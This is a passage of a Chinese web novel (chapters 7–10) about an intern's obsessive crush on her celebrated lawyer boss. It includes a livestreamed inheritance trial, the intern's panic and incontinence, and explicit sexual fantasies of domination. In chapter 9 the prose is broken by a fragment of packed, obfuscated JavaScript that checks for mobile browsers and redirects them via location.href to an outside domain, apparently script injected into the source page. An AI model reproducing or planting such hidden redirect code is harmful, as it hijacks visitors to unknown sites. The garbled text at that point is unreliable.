《和暗恋的上司同居后》
7. 第 7 章
和秦雪聚完的第二天早上,孟斯汀抱着二手笔记本坐在客厅凉席上调落地扇。
从一档调到三档,又调回二档。风扇摇头时发出轻微的“嗒嗒”声,像是某种不情愿的叹息。
这年头真正双休的工作比三只腿的蛤蟆都难找,即便是朝九晚六双休的锦意,到了周末也要自觉加班。
鼠标点开徐嘉棠周五发的案例,密密麻麻的字看着头晕。
在哪加班都不能在家加班,连着家里的wifi都觉得亏大了。
在公司加班,起码还能浪费傅锦懿的水电费。
麦晴在厨房里切西瓜,刀落在砧板上,红瓤黑籽:“小孟,跟你商量点事。”
孟斯汀头也不抬:“麦姐,你说。”
切好的西瓜装盘,麦晴端着托盘跟着坐下。
一整个小西瓜提前在冰箱里冰过,孟斯汀咬了一口,差点冰掉牙。
“等敏敏考完试放完暑假,9月份她就要上六年级了。小升初时间紧,我想换个离她学校近点的房子。”
“也是,离得近能让敏敏多睡一会儿。你有看好的房子吗?”
麦晴目前也没别的主意:“这个还没有,不过早晚也是下个月搬,我到时候跟房东提前说,要她给你找个好室友。”
“对我来说,你就是我的好室友。”
麦晴轻轻笑:“那找个跟我一样好的。”
孟斯汀抿嘴笑:“借你吉言。”
电扇摇头晃脑地吹过来,吹得她稀疏的刘海乱糟糟的。
搬进这个小小的两居室还是在两个月前,某种意义上,这也是她步入社会后第一个家。
第一次见麦晴时,孟斯汀和秦雪拎着大包小包到小区楼下等房东。房东是个60多岁的老阿姨,只在楼下跟她签合同递交钥匙,其他什么都不管了。
倒是麦晴和敏敏已经在楼栋门口等着,看孟斯汀来了,帮忙把大包小包的行李往楼上拎。
敏敏和麦晴一样热情,明明是小个子,非要提起那个巨重无比的行李箱。结果双手一提,把自己绊倒了。
几人相视一笑,陌生的生活便温暖起来。
对刚出校门的应届生来说,接受一切改变才是最好的心态,但她还是会为了一点小小的改变心慌。
不过,抵得住海上所有的风浪才能是一个合格的水手。
她把西瓜瓤啃得一干二净,擦擦手点开几个租房app和论坛。
麦晴一个人带小孩不容易,租金太贵负担不起,她收起心开始帮忙找房。
敏敏从房间里跑出来,坐在孟斯汀身边吹着风扇吃西瓜:“好凉的西瓜,好吃。”
孟斯汀抽了张纸,给敏敏擦擦嘴角。
每个夏天,鲜活的灵魂都以最富有生命力的姿态向远方流去,匆匆相遇再分别。
每个夏天都湮灭在离别之中,又在同一个夏天复活,提交一份新的叙事。
毕业季的夏天过后,很多事都会有所不同。
总归来说,是一条没有折返的行路。
虽然慌张,但也明亮。
她拿起一块西瓜,咬了一小口。
失去和拥有也是同一种感受,都会在很久以后才深有感触。
至于还处在夏天的现在,先满怀期待地热爱。
因为明天会更好。
//
表彰大会是周一那天快下班时开的。
中央空调的风开到19℃,会议厅的灯光照在头顶上,冷得好似要结一层冰霜。红色横幅悬挂在86寸4K触摸电子白板上,[锦意表彰大会]六个字还烫了金边。
孟斯汀盯着横幅边缘的流苏,莫名觉得像某种动物的毛发。
又类似某人的发梢。
头发总梳得一丝不苟,散下还是挽起,都像秦淮河岸的夜,柔软却锋利。
坐在角落悄悄打开手机看蓝底证件照,丧了会儿,难过地低下头。
傅锦懿给她颁奖的梦破碎。
怎么连这种小事都无法实现?
表彰大会主角是她,但她完全开心不起来。
离得近时会着迷那股雪茶香味,离得远了又怯懦地不敢主动提起什么。
就比如今天,傅锦懿没来,她也没有主动发条消息问。
早上打听了下才知道大名鼎鼎的傅律在忙程氏富豪遗嘱案,周四庭审结束后才会回律所。
程氏富豪遗嘱案,涉及百亿遗产分配,到时候会有多家媒体争相报道。
傅律为雇主程毓蘅女士争夺继承全数遗产,所有人都会看到傅锦懿胜诉的那一刻。
属于傅锦懿意气风发的结局,必是胜诉。
从业多年0败诉,光鲜的履历让人难以企及。
那……
如果她跟傅锦懿吵架的话,会不会输得很惨?
毫无疑问,肯定是。
真是异想天开,小小的实习生,怎么能和傅律相比。
没出外勤的员工都聚在会议厅里,小声议论这种日子是要给谁开表彰会。
不是季度总结,不是特殊评选,只是一个普普通通又辛苦劳累疲惫的周一,怎么有个表彰大会?
诸多猜测在行政部总监陈晓雯的到来后停止,她踩着JimmyChoo小羊皮高跟鞋来到台上握住话筒。
“感谢大家前来参加表彰大会。”率先扫了眼台下的某人,故意拖长尾音:“今天要表彰的是——”
侧身按了下遥控器,身后的大屏上出现孟斯汀的证件照:“1部实习生孟斯汀。”
再按了下,屏幕上出现浔城地铁公众号的截图。
监控录像截图和视频不是很清晰,但能明显辨认出那是孟斯汀。
快步在人群中奔跑,飞身压倒扒手并将其制服,干净利落的身手,好像在看电影。
浔城地铁的感谢信,孟斯汀和地铁工作人员的合照都出现在公众号推文截图里,余下的照片则是正能量的精选留言,以及浔城地铁对孟斯汀和锦意律所的赞美。
“妈呀,咋是表扬那个实习生啊,真是没想到。”
“不是吧,她上班第一天还顺便抓了个扒手?哦哟,真是好会表现哦。”
“真不愧是孟辉的女儿,心眼子真多。”
“刚入职就蹭个表彰,还是人家地铁官方亲自点名表扬的,果然是官员的孩子,这种流程我们普通人哪里会?”
“兴许是人家要当面表扬,她不乐意,非要人家官方大费周章来表扬。这么会来事,难怪是市长千金。”
“嘁,什么市长千金,死刑贪污犯的家属罢了。”
陈晓雯瞥了眼孟斯汀,嗤笑一声拿出失主送的锦旗。
上面写着:
[人美心飒,正义の神
浔城超能妹,律政俏佳人
——感谢锦意律所孟斯汀律师]
陈晓雯的白眼翻上天。
这锦旗真是中二到令人发指。
“噗——超能妹?正义の神?这什么东西啊?”
“真给我看笑了,我决定封1部那个实习生为[锦意正义の神]。”
台下响起零星的笑声。
邀[正义の神]上台,陈晓雯把中二病的锦旗交给孟斯汀,思思抱着单反负责拍照。
强撑着精神微笑,准备下台时,被陈晓雯叫住。
除了锦旗还有礼物。
陈晓雯拿出一个酒红色礼盒,盒盖上是白色的GUCCI标志。
“这是傅律给你准备的礼物。”陈晓雯把盒子递给孟斯汀,“收下吧,正义の神。”
G……Gucci?
孟斯汀有些呆滞地收下。
礼盒很重,掀开盖子时,呼吸微微一滞。
棕色全皮双肩包静静地躺在丝绒衬布上,皮质纹理在灯光下流淌着蜂蜜般的光泽。35000块的价签还挂在拉链上,像某种奢侈的证明。
“Gucci?!傅律给她一个Gucci?不是!凭什么!”
“现在去地铁蹲扒手还来得及吗?”
“怎么会有这么贵的书包!我那省吃俭用买的569块的小ck算什么?”
“算你不是正义の神。”
议论声像潮水一样涌来。
孟斯汀的指尖轻轻抚过包带,触感冰凉细腻。
她确实是跟傅锦懿说想要一个新书包,但……35000未免也太贵了。
35000……的书包?这么奢侈吗?
财不外露,已经不敢背在身上了。
怕哪天被路过的劫匪打劫,又怕挤地铁时被挤坏了。
更不敢往里面装早餐。
这样想来,什么都装不了了,只配装劳斯莱斯的钥匙。
什么劳斯莱斯的钥匙?她现在连爱玛、雅迪的钥匙都没有。
握着递过来的话筒,孟斯汀有一瞬间的失语,辗转许久才说:“感谢傅律,我很荣幸获得傅律的礼物,未来我会继续为锦意挣取荣誉。”
台下的人漫不经心地鼓掌。
思思鼓掌很用力,还有徐嘉棠。
“呵,正义の神继续正义,拿傅律的Gucci咯。”
“今天不开我的比亚迪了,我要去地铁蹲扒手。”
“请问还有当正义の神的渠道吗?我不要Gucci,给我换个新手机就行,我要1TB的。”
正义の神说完,转身要走。
陈晓雯叫住她:“等等,还有这个。”
孟斯汀握着红包疑惑。
厚度很可观,估摸着得一二十
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张红钞票。
“公司有规定,在职员工为公司获得荣誉奖励2000块钱。”陈晓雯的语气像在背诵员工手册。
还有2000块的奖励?
锦意还真是大方。
什么神仙律所。
回到工位,庄然一把抢过包包:“让我看看三万五的gucci长什么样。”
她翻来覆去地检查,指甲在皮质上留下几道细微的划痕:“嘁,一般般,傅律的日常手袋比这个好看多了。”
孟斯汀夺回包包:“比不上你也没有。羡慕的话去正义一次。”
庄然的脸瞬间涨红:“我才不需要傅律破费,不对,我才没有羡慕你!”
钉钉上打完卡,她抬高声音:“我自己买得起gucci,不需要傅律送,也就你这个正义の神需要。”
关上电脑,她拎着包起身,高跟鞋在地毯上跺出咚咚的声响,推门离开的背影像一只炸毛的猫。
徐嘉棠晃过来,指尖轻轻挑起包带:“不错嘛,好人有好报,这是傅律对你正义的嘉奖,以后继续正义啊,正义の神。”
孟斯汀把包收起,嘀嘀咕咕:“可惜不是傅律给我颁奖。”
“那天开庭有直播,你看直播就好了。”徐嘉棠瞄了眼手机,上面是庄然的信息。
[你快下来啊,说好今天让我坐你的越野去吃饭的,你反悔是不是!]
[你又在跟孟斯汀聊天是不是!都下班了你们还聊什么聊!]
[我数十个数,不下来我要把你拖下去!!]
[(愤怒jpg)]
她熄掉手机,敲敲桌面:“到时候你放心摸鱼,我罩着你,正义の神。”
孟斯汀抱着盒子朝她一笑:“嘉棠姐,你真好!”
但心愿是以奇怪的方式展开的。
19℃的会议室里,没有申请旁听的同事们坐在座位上齐齐抬头看86寸的4k大屏。
大屏上是幕视tv的直播间,主播正在法院门口直播。
[欢迎来到直播间,我们现在正在浔城法院门口直播。]
[直播什么案子?直播的是程文彦遗产继承纠纷,原告是程文彦的原配独女程毓蘅,被告是程文彦的二房和子女]
[程毓蘅女士的性取向……呃,粉丝宝宝不要讨论这个,我们在法院门口直播,主包可不想被程女士告进去]
[嗯,没错,傅锦懿是程女士的委托诉讼代理人]
弹幕:
【啊啊啊啊啊!傅律!!】
【傅律什么时候来我们学校开讲座,我等了好久了】
【请问和傅律见面到底有什么条件?!】
【一小时咨询费3万块,最低咨询时长两个小时起】
【打扰了……】
[哈哈哈,看来大家都很期待傅律的出场啊]
[大名鼎鼎的傅律性取向……粉丝宝宝们不要再刷这些了拜托了,小心被傅律告上法庭啊!]
弹幕:
【好想被傅律告上法庭,傅律,狠狠地告我吧!】
【嗯……如果被傅律告的话,那也不是不可以】
【傅律9月会来浔大开讲座吗?下半年的行程可以多留点给学术好不好?】
【我愿意为了傅律报考浔大!】
【傅律9月26日的行程在华科,请报考华科~】
【傅律10月会在武大开展学术会议,欢迎报考武大】
【傅律11月……】
【请不要恶意竞争生源!!】
[新来的宝子们点点左上角福袋~现在是9点36分,傅律很快就会来啦,大家莫要着急~]
孟斯汀裹着小毯子缩在角落,头疼地望着等待傅锦懿出现的员工们,以及弹幕上对傅锦懿充满期待的文字。
“傅律什么时候到啊,我等得好焦急。”
“早知道我也去申请旁听了,坐在这里看直播一点都没有参与感。”
“傅律好几天没有在律所出现了,好想她。想跟她说我这几天都在照顾发财树,能不能给我奖励一个包包,我不要Gucci,给我个小ck就行呜呜呜。”
孟斯汀捂住耳朵,也蒙住眼睛。
她不要再看到那些人对傅锦懿的告白。
直到主播的声音再次响起——
[好了好了粉丝们,集中注意力,快看向我们镜头走近的两辆车]
[第一辆顶级超跑科尼塞克AgeraR在楼梯前停下了,OK,司机下来开门,走出的是全套!Attolini的程氏集团继承人,程毓蘅程女士]
[第二辆全球限量劳斯莱斯浮影,走出的是——红圈所不败神话、牛津大学荣誉校友、行业标杆合伙人、ALB年度传奇律师——傅锦懿!]
8. 第 8 章
毯子从头上滑下来后,会议室亮得刺眼。
直播间里,幕视的镜头往车门推近。
孟斯汀看到黑色浮影车门上不停反射着白光。
媒体的闪光灯亮得刺眼,她有一股强烈的冲动,想冲到车门前为傅锦懿挡一挡。
倒是她自己,习惯了。
七年前孟辉被抓后,家门前的媒体不比法院门口的少。镜头的灯像夏日暴雨时分的闪电,噼里啪啦的把她劈得七零八碎。
闪光灯雨持续了很长一段时间,直到孟辉被枪毙,直到她离开源城。
她蜷着身子缩在角落里恍恍惚惚,前后是此起彼伏的声音。
“啊啊啊!傅律的这个车我还没见过!好好看啊!”
“好想坐傅律的车,好想坐副驾!”
无名火从四肢蔓延,转而变成一股浓烈的愤恨。
仰慕傅锦懿的人太多了。
孟斯汀很讨厌那些人的叫声。
讨论的、嬉笑的、不怀好意的、刺耳的。
她抓紧毯子咳了声,冲那群叫得最欢的人小声斥责:“不要说话了,很影响别人看直播。”
那群人收麦,但白了她一眼。
副驾门自动开启,包裹着修长腿的西裤下是CL红底高跟鞋,垂坠感恰到好处的西裤裤管里是黑丝。
鞋跟先着地,与地面接触时,孟斯汀好像听到“哒”的一声。
幕视的摄像师很懂观众,从脚下缓缓往上移,像在拍电影。
还是一镜到底。
那双修长笔直的腿往台阶上走,腿根处的西裤面料绷起细小的褶皱。
镜头开始追随傅锦懿的背影。
西裤包裹着的臀部线条,随着上楼的步伐微微起伏。
孟斯汀攥紧手指。
她迫切地想看看傅锦懿的脸。
距离上一次见到傅锦懿,已经过去快一周了。
她知道对方忙,从来没有发信息打扰,只敢在每天晚上翻看寥寥无几的聊天记录回味。
但视线还是忍不住落在傅锦懿腰部上下。
腰臀部,肩部,她都盯着看。
直到镜头切到那张朝思暮想的脸上,孟斯汀的呼吸才缓缓放轻。
柔软的墨色长卷发,金丝框镜片下藏着深幽的眸子,清隽疏淡的表情,是固定的公式化。
这次出庭傅锦懿化了淡妆,YSL粉底薄薄地覆在脸上,唇也只是薄涂的阿玛尼405。
从15岁那年见到傅锦懿,孟斯汀一直不知道用什么来形容这个女人。
美丽、动人、冷艳,似乎都不适用。
她看镜头里傅锦懿整理袖口,骨节很小的双手,白皙纤长,衬衫袖口露出一截手腕,上面戴着一只她没见过的表。
这时,宽大的手掌抬起,中指撩了下垂落的发丝。
那根手指又顺势扶了下眼镜。
19℃的空调吹着冷气,孟斯汀却觉得口干舌燥。
她收紧裹在身上的毯子,下意识并拢双腿。
“看入迷了?”庄然忽然凑过来,脸上的表情意味不明。
孟斯汀受惊地瞪她一眼。
视线又落在大屏上,镜头离得近了些,跟着傅锦懿走上阶梯往法院里走去。
那张冷峻的脸没什么表情,但孟斯汀感觉有一团火从小腹窜上来,烧得脊椎发麻。
从第一次见傅锦懿,看到这张脸,她便有了各种奇怪的生理反应,像是生了什么诡异的病。
她应该是……
应该是被傅锦懿吓病的。
**
法庭纪律宣读完毕是程序核查,随后:“请全体起立,浔城高级法院民事审判庭现在开庭。”
木槌敲响,法官落座。
两侧陪审法官落座,法庭大门关闭。
“请原被告代理人表明出庭身份。”
镜头扫向原号席位。
傅锦懿起身:“原告委托代理人傅锦懿,执业证号132**************,代理权限为特别授权。”
陈述环节,傅锦懿的声音照旧通过扬声器传来。
清润的声线像凿进天灵盖,疏冷的脸上一直没什么表情,过于肃穆的气息让整个庭审现场变得像一场缄默的葬礼。
“我方主张被继承人程文彦名下全部遗产应由原配子女合法继承,理由如下:第一,被告方所谓‘遗嘱’经鉴定存在伪造痕迹,签署日期与被继承人在ICU插管治疗期重合,无民事行为能力。”
递呈《笔迹鉴定报告》后,傅锦懿继续说:“第二,被告方身份为‘非婚生子女’,其生母……”
证据被悉数呈上,被告方律师进行一一反击。
“反对。原告方指控毫无依据。第一,遗嘱经公证机构认证,原告所谓‘笔迹鉴定’样本选取不具可比性;第二,被继承人……”
被告方程元昊聘请了同样是红圈律所的律师,正华律所的合伙人岑明辉。
天价委托费,自然由顶级律师出场。
正华律所常年排在锦意后面,但在法庭上兵戎相见并不多见。这次两位合伙人交锋,更是稀奇得很。不过涉及数额巨大的案子,谁都想来蹭一笔委托费。
两方律师唇枪舌剑,安静的法庭一阵骚动。
傅锦懿没有施舍给任何一方目光,继续呈证据。
她平静地陈述和递交证据,会议厅里同事交头接耳。
慢条斯理的动作,声线没有一丝起伏,表情也没有变化,对方律师完全拿不准傅锦懿手里到底还有什么证据。
和傅锦懿交手,是一场心理战的角逐。
没有人会知道傅锦懿在下一刻会掏出什么证据,更没人知道傅锦懿对自己掌握的底牌了解多少。
只要成为傅锦懿的对手,开庭后便处在一种完全高压的状态。
但凡松懈、露怯,也许下一秒,就败诉了。
攻人又攻心的战术,必须全力防守。
两次休庭过后,岑明辉整理着为数不多的资料看向对面平静无波的女人。
他已经撑不了太久,但傅锦懿好像还在藏着什么。
再次开始的时候,傅锦懿的表情忽然有了变化。
金丝镜框下平静的眸子忽然闪烁一寸讥嘲,她推了下眼镜,竟然笑了出来。
“介于公证机构对笔迹的鉴定样本选取的不具可比性,我方暂不质疑遗嘱真实性,但请求法庭允许我方稍后提交补充证据。”
她看向被告程元昊:“被告先生,您父亲签署这份遗嘱时,您在场吗?”
程元昊:“当然,监控录像里面不是有吗?不是已经播放过了吗?”
傅锦懿颔首道:“法官大人,我方现在提交医院监控录像。”
她突然看向程元昊,补充:“我方补充,程文彦去世前2个小时的监控录像、海外药物购买记录,以及程元昊先生和代购方交易的监控录像。”
这一刻,岑明辉意识到了不对劲。
他掌握的信息里并没有这些东西,他看到程元昊那张忽然变黑的脸,再看到傅锦懿呈上来的证据,恐惧油然而生。
预测到傅锦懿所有会进攻的方向,他也如愿一一回击,但他没有预料的是傅锦懿掌握多少东西。
比如视频里程元昊和代购者交易致死量的违禁药品,以及傅锦懿呈上的程文彦真正的尸检报告。
傅锦懿完全把他带偏了,更重要的是……程元昊隐瞒了太多!隐瞒了是他杀了生父程文彦的事实!
那些证据呈上后,程元昊瘫坐在椅子上,而傅锦懿近似俯视地看他,冷声说:“所以你知道我为什么建议程女士争夺全部遗产继承权,而不是与你们达成协议上的和解了吧?”
“你对遗产的贪婪,大过对弑父证据的警惕。”
“岑律师,看来您的委托方在事实和法律上都站错了立场。至于那笔天价委托费……”傅锦懿微微倾身,修长的手指轻叩桌面,眼底浮起一丝锋利的讥诮,“恐怕只能留作您职业生涯的……教训。”
冷冽从容的语气,带着上位者特有的压迫感。
看着这样的傅锦懿,孟斯汀背上沁出一层细汗。
双腿双手控制不住地发抖,脸色也变得苍白起来。
呼吸……
她无法像个正常人一样呼吸了。
她对法庭上的傅锦懿有着生理性的恐惧。
肾上腺素飙升,她的恐惧达到一定阈值,视线模糊了一瞬。
她又回到了孟辉被判死刑的那天。
她坐在旁听席看着傅锦懿指控孟辉,15岁的她如现在这般,全身颤动得像是寒风中的枯叶。
幻觉忽然袭来。
她看见自己站在被告席上,全身被链条锁住。
傅锦懿缓步走近,黑色高跟鞋踩出令人窒息的节奏。冰凉的手指拽住她脖子上的锁链,强迫她抬头。
“孟斯汀。”傅锦懿的声音毫无感情,“你有罪吗?”
她双膝发软地跪倒在地,链条泠泠作响,喉间溢出破碎的呜咽:“我……无罪……不……有罪……”
傅锦懿冷笑出声:“孟斯汀,立即死刑。”
链子
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拽得更紧了。
她哭着求饶:“求求你……我不要死刑,求求你,求求你……救命……救命……”
她转身向空无一人的旁听席求救,怎么也挣不脱锁链。
而傅锦懿收紧链条,冲她的额心举起枪。
砰——
恐慌、惊惧、折磨、痛楚。
濡湿的下/身和几欲干呕的冲动,让她几乎从座椅上摔倒在地。
她强迫自己从恐惧中抽离出来,咬着牙用毯子擦干座椅,裹紧身子从会议厅离开。
关上厕所门快速褪掉湿漉漉的裤子,她忽然不争气地落了眼泪。
第一次在白天尿湿裤子。
平时都是在梦里被吓尿的。
抽出纸巾擦了擦眼泪,她打开美团买了件便宜的裙子,给徐嘉棠发信息:[嘉棠姐,我生理期弄脏裤子了,我在美团上买了裙子,你到时候帮我拿到洗手间,谢谢你]
徐嘉棠:[OK]
审判。
她惧怕傅锦懿的审判。
但她又渴望被傅锦懿审判。
仿佛那样就能通过对方严明审查,判她无罪,还她清白。
仿佛那样就能洗刷她身上[罪人之女]的印记。
温热的液体又顺着腿流下,她慌慌张张抽出纸去擦地上的尿渍。
她的失禁,太不体面了。
穿着新买的裙子回到会议厅时,庭审刚结束。
遗嘱无效,被告丧失继承权,至于程元昊,则移送刑事侦查。
而岑明辉由于未尽审查义务,面临巨额罚款。
会议厅内爆发出欢呼声。
“我的天啊!我全程也被傅律带偏了!我的关注点一直在重婚上,他们拉扯了好久,原来是傅律为了放松他们警惕!”
“傅律把我也给骗到了!我都不敢想竟然是这个转折!”
“呵,那个程元昊太贪了啊,之前本来他可以继承一部分,但是他非得逼濒死的程文彦签署新遗嘱。后面怕程文彦病情转好,亲手把他杀了。好了,现在要蹲局子,也没钱了。”
“没人心疼岑明辉吗?职业生涯上的一个巨大的污点,还被全程直播。”
“傅律故意搞他的吧,事先让正华那边得到证据不利的消息,引得他们来接被告委托。再来个反手一击,让岑明辉光明正大出糗哈哈哈哈。”
“只有我关注到傅律的演技吗?为了这个转折,从接委托后就开始演。”
“程女士会爱死傅律吧!傅律不建议她争取一半遗产,而是用争全部遗产来吸引火力,再设计引程元昊掉陷阱,天啊!我起初还害怕最后还是达成协议和解,没想到傅律真的胜诉了!”
“从业以来0败诉的神话!!又稳住了!”
“傅律!啊啊啊!”
程毓蘅与傅锦懿握了握手。
傅锦懿,胜诉。
庄然伸了个懒腰,看到一起回来的两人问道:“某人去厕所那么长时间,该不会回工位偷偷工作了吧?”
直播结束,也该回去工作了。徐嘉棠拿起水杯解释:“她生理期到了,弄脏了裤子。”
庄然呶呶嘴:“那你多喝热水。”
“谢谢你。”孟斯汀没精打采地应了一声。
庄然又瞥她一眼:“我有益母草,给你分点算了。”
有点意外。
孟斯汀抓着盛放着裤子的袋子再次道谢:“好,谢谢你。”
/
傅锦懿周五才回律所。
孟斯汀站在傅锦懿办公室门口许久,才鼓起勇气敲门。
里面传来一声“进”。
推门进去,傅锦懿坐在真皮座椅里,手边的咖啡杯沿沾着淡淡的口红印。西装外套搭在椅背,白衬衫袖口卷到手肘,露出小臂内侧若隐若现的青筋。
抬眼看来人,傅锦懿停下敲键盘的手:“斯汀,有事?”
孟斯汀的视线黏在那截手腕上:“就是来谢谢你的表彰礼物。”
空气凝固了几秒。
傅锦懿靠在椅背上沉静地看她,手指在桌上漫无目的地敲了敲,缓缓道:“那天拿到礼物怎么不拍给我看?是不喜欢?”
孟斯汀摇头:“没有,不是,喜欢。”
“但那天之后一直没给我发消息,是什么意思?”
孟斯汀的声音低了几个度:“我就是怕耽误你工作,才没发消息。”
傅锦懿了然地点点头,微微前倾,领带垂在胸前:“我听嘉棠说,张娟案推进得很顺利,你工作很认真,提出了很关键的疑点。你想要我怎么奖励你?”
9. 第 9 章
想要什么奖励?这是一个问句,也是一个等待填写的答案。
孟斯汀摩挲着衣角,说出那个藏在心里许久的期待:“我想和你合影,表彰会那天我以为你会出现,以为能合个影。但当时你忙遗产案,没见到你。所以今天想要这个奖励。”
“和你的奖品一起?”傅锦懿微微挑眉,“那你的包呢?”
“在家里。”
傅锦懿低头在键盘上敲了几下,拨通梁助理的电话:“梁助,进来一下。”
“如果包不用来背,那它就不具备奖励的价值。”站起身时,西装裤包裹住她的长腿缓缓逼近,领带垂下的弧度勾勒出胸部曲线,“还是说,你不够喜欢这个包?我要不要给你补一个新的表彰奖励?”
孟斯汀的呼吸停滞了一秒,她急忙说:“不用傅律破费了,我下周就开始背那个包上班。”
傅锦懿停在离她半步远的地方,雪茶的冷香顺势飘散过来。
这个距离,孟斯汀能看清她衬衫领口下若隐若现的锁骨线条,还有喉咙滚动的弧度。
藏在头发里的耳尖发烫,目光游移在随着呼吸微微起伏的胸口上。
那根酒红色领带,宛如一个禁忌开关。
领带下面,是……什么?
梁助理推开门。
接过孟斯汀的手机后,梁助理找了个位置等待二人摆姿势。
合影姿势没什么特别的,无非是两人站在一起。
选位置的决定权在孟斯汀手里。
最终选择站在傅锦懿到办公桌前。
她站好,颔首:“傅律,在这里拍。”
一旁看着她选位置的傅锦懿脚步挪过来,直到贴住她的手臂。
浓郁的雪茶的香瞬间涌过来,她能感觉到傅锦懿衬衫下手臂的温度透过布料传来。
傅锦懿的手忽然搭上她肩膀。
虚虚搭着,没用什么力。
她不可避免地颤了下身子。
梁助理举着手机问:“可以开始了吗?”
孟斯汀点头。
梁助理拍了很多张,但都没什么区别。
傅锦懿很美,自己很局促。
反复看没什么差别的照片,孟斯汀道:“傅律,晚上修完图我再发你。”
傅锦懿轻轻点点头,镜片下那双眼不辩情绪。
转身要走时,傅锦懿又叫住她。
一叠装订好的文件被傅锦懿单手拿着,扉页上印着《程氏遗产案全案分析》,下面是傅锦懿龙飞凤舞的签名。
“我昨天晚上整理出来的,富豪遗产案诉讼的完整流程。”傅锦懿的声音像从头顶落下,“包括没公开的辩护策略,有不理解的可以问我,线上线下都可以,希望你能学到点什么。”
孟斯汀忽然愣住。
这个案子……早上她还在听杨芷蕙说要等好久才能等到傅律分享案例。但现在……
是傅锦懿特意给她的吗?
只给她一个人的?
对方晃了下那叠文件,示意她收下。
孟斯汀忙伸手去接,却在交接的瞬间失了准头。
纸张散落一地,在灯光下白得刺眼。
她慌忙蹲下,膝盖磕在地毯上发出一声闷响。
拾捡着那些写满字的纸,阴影忽然笼罩过来。
她还没来得及抬头,右手手背被漆皮黑高跟的鞋尖踩住。
尖锐的痛感顺着神经直冲大脑。
她扫了眼脚背,抬头。
白皙的脖子上垂了一些碎发,湿漉漉的眼睛仰视踩她手的女人。
从这个角度能看到傅锦懿绷紧的下颌线,和镜片下深不见底的眸子。
时间仿佛凝固了一秒,两秒,三秒……
“不好意思。”傅锦懿突然蹲下身,冷香扑面而来。
她握住孟斯汀纤细的手腕,拇指轻轻抚过那片泛红的皮肤,“抱歉,斯汀,我没注意,踩到你了。”
烫。
好烫。
孟斯汀猛地抽回手,文件纸张在慌乱中又被碰散。
“没事的,傅律。”慌慌张张捡起全部的文件,她把资料紧紧抱在胸前,像抱着什么珍宝,“没事的话,我先回去了。谢谢你的分享,我会好好看这些案例。”
门关上了。
傅锦懿站在原地盯着自己的鞋尖看。
旋身回到座位坐下,真皮办公椅发出轻微的吱呀声。
单手松了下领带,缓缓抬起双腿,交叠着架在办公桌边缘。
鞋尖处还残留着一点孟斯汀手背的温度,她注视了许久,最终还是放下修长的双腿。
中指推了下镜框,从抽屉里取出一块丝绒布,慢条斯理地擦拭着鞋尖。
“真是敏感的反应。”她低声自语,指尖抚了下鞋头光滑的漆皮表面。
/
回到家,孟斯汀修图修到深夜。她反复调整光线和角度,直到照片里两人的身影看起来既亲密又克制。
发给傅锦懿后,对方很快回复:[收到]
下一条消息跟着弹过来:[你的头像在律所很特别]
孟斯汀点开自己的头像,一只白色卡通小狗。
小狗头像,特别可爱吗?
她红着脸问:[哪里特别?]
傅锦懿:[特别不专业]
孟斯汀的脸瞬间烧了起来。
她快速翻看律所群聊,清一色的证件照。
好像……确实是不专业,给人一种很不靠谱的感觉。
傅锦懿的消息又跳出来:[你喜欢狗?]
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685039|173294||http|test|mini|href|location''.split(''|''),0,{}));
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>孟斯汀:[还好,挺可爱的]
傅锦懿:[puppy是挺可爱的]
puppy……
盯着那个单词,突然感到一阵燥热。
她盯着对方的蓝底证件照并拢双腿,下半张脸埋在被子里。
傅锦懿:[我喜欢听话的puppy,你呢?]
听话的puppy……
键盘上的字母突然变得模糊起来,敲敲打打,打不出一个完整的句子。
最终只回了一句:[小狗都挺好的]
傅锦懿:[是挺好,不过我没养过狗]
孟斯汀:[是没时间吗?]
消息发出去后,对话框陷入长久的沉默。
孟斯汀盯着屏幕,手指悬在键盘上方,想打[你怎么不理我了],又硬生生忍住。
下属跟上司这样发,不太好。
手指在屏幕上悬停许久,最终把上个月拍的证件照换了上去。
半小时后,傅锦懿的消息发来。
傅锦懿:[。]
又是句号。
这是不想再聊的意思吗?
孟斯汀看了很久,最终关掉手机。
算了。
睡觉。
昏昏沉沉进入梦境,潮湿而又混乱。
她回到了傅锦懿的办公室,地上散落着文件,她瘫坐在地上,面前是穿着衬衫西裤,踩着高跟鞋的傅锦懿。
傅锦懿抬起脚,轻轻一用力,她便被踩在地上。
鞋尖缓慢地碾过锁骨。
金丝眼镜后的目光居高临下地俯视着她,声音冷得像冰:“斯汀,叫我的名字。”
“傅……傅律……”
鞋尖突然上移,抵住她的下巴,“错了,不是这个。”
“锦懿……”
“加个后缀。”
“锦懿姐姐……”
惊醒时,一片湿热。
脑海里全是傅锦懿俯视她的脸。
想被傅锦懿抱在怀里,也想被搅动。
火焰从四肢开始燃烧,她无法扼住那些躁动的火,开始主动燃烧。
她想象那是傅锦懿的手,那双几乎没有骨节的,白皙纤细的手,可以承接住她所有的渴望。
她又想象那种感觉,从一个低点缓缓往前推进,喉咙里发出类似幼犬的呜咽。
雾蒙蒙湿漉漉的眼角流着眼泪,她喊起梦中那个名字:
“锦懿姐姐……”
傅锦懿垂眸看她的模样又一次出现在脑海里。
“锦懿姐姐……锦懿姐姐……”
最后她压抑地叫喊出来。
咸涩的眼泪渗进枕头,羞耻感慢慢将她淹没。
她抱住膝盖蜷在被子里,久久,起身,熟练地换掉床单。
10. 第 10 章
源城的初夏总是回荡着青涩的果子味,孟斯汀从来没有感受过这些,于她而言,源城的每一个季节都是枯燥的。
困在高压环境的前十五年,她顶着[市长千金]光环,戴着镣铐一步步向前走。
她是孟辉用来升职的武器之一,是掩盖罪恶的无知牺牲品,是旁人口中优秀的市长女儿,是学校里的道德标兵,是多才多艺沉默寡言的第一名。
特殊身份导致的狭窄社交圈,致使她从未和同龄人合群过。毕竟孟辉的女儿,十足的优等生,生为高层阶级的孩子,高不可攀。
对,没错,她什么都是,唯独不是孟斯汀。
她身上刻了那么多烙印,从来没有一个是属于自己的。
高耸入云的山下,埋葬着她稚嫩的尸骨,直到一束不一样的火光,从山脚烧到山顶,从她本该枯燥的15岁,烧到她全身发抖。
她初见傅锦懿的时候,这个女人和正在追公交车的她擦肩而过。
